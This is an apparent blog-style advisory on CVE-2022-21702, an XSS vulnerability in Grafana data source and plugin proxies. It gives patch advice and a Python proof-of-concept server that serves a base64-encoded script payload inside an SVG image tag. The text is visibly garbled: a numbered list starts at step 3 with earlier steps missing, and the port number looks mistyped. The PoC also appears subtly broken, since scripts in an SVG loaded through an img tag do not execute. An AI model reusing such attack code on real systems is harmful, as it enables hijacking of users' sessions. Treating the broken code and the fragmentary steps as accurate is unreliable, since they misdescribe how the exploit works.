Grafana is a popular open-source platform for monitoring and observability, widely used by developers and system administrators. A critical security vulnerability, identified as CVE-2022-21702, has been discovered in Grafana which allows the execution of Cross-site Scripting (XSS) attacks. Attackers can exploit this vulnerability to serve malicious HTML content through Grafana data sources or plugin proxies. The impact can be severe as it allows the attacker to perform unauthorized actions on the user's behalf, such as stealing sensitive data or even taking over their accounts.

In affected versions, the vulnerability arises from a lack of proper input validation and output encoding. An attacker can compromise an existing data source or set up a malicious public service, then trick a user into visiting a specially crafted link to execute the XSS attack.

The attacker controls the HTTP server serving the data source URL

3. An authenticated user clicks a specially crafted link pointing to the attacker-controlled data source

There are no known workarounds for this vulnerability, and users are strongly advised to update their Grafana installations to the latest patched version.

Original references

- Grafana Security Advisory
- CVE-2022-21702 on National Vulnerability Database (NVD)

Here's a code snippet illustrating the potential exploit using a malicious HTTP server

from http.server import SimpleHTTPRequestHandler, HTTPServer
import base64

class XSSRequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()

        payload = "<script>alert('XSS Attack')</script>"
        encoded_payload = base64.b64encode(payload.encode("utf-8"))

        response = f'<img src="data:image/svg+xml;base64,{encoded_payload.decode("utf-8")}" />'
        self.wfile.write(response.encode("utf-8"))

if __name__ == "__main__":
    server_address = ("", 808)
    httpd = HTTPServer(server_address, XSSRequestHandler)
    httpd.serve_forever()

This Python script sets up a simple HTTP server that serves malicious HTML content, encoded as a base64 image, to trigger a XSS attack. As mentioned earlier, the attacker would also need to send a target user a specially crafted link pointing to the malicious data source or plugin.

In conclusion, CVE-2022-21702 is a critical vulnerability affecting Grafana that can lead to severe consequences if left unpatched. It is crucial for users to be aware of this issue and update their installations to the latest patched version to ensure the security of their systems and data. Regularly assessing and updating your software can help protect against potential security threats.

Timeline

Published on: 02/08/2022 20:15:00 UTC
Last modified on: 05/07/2022 08:15:00 UTC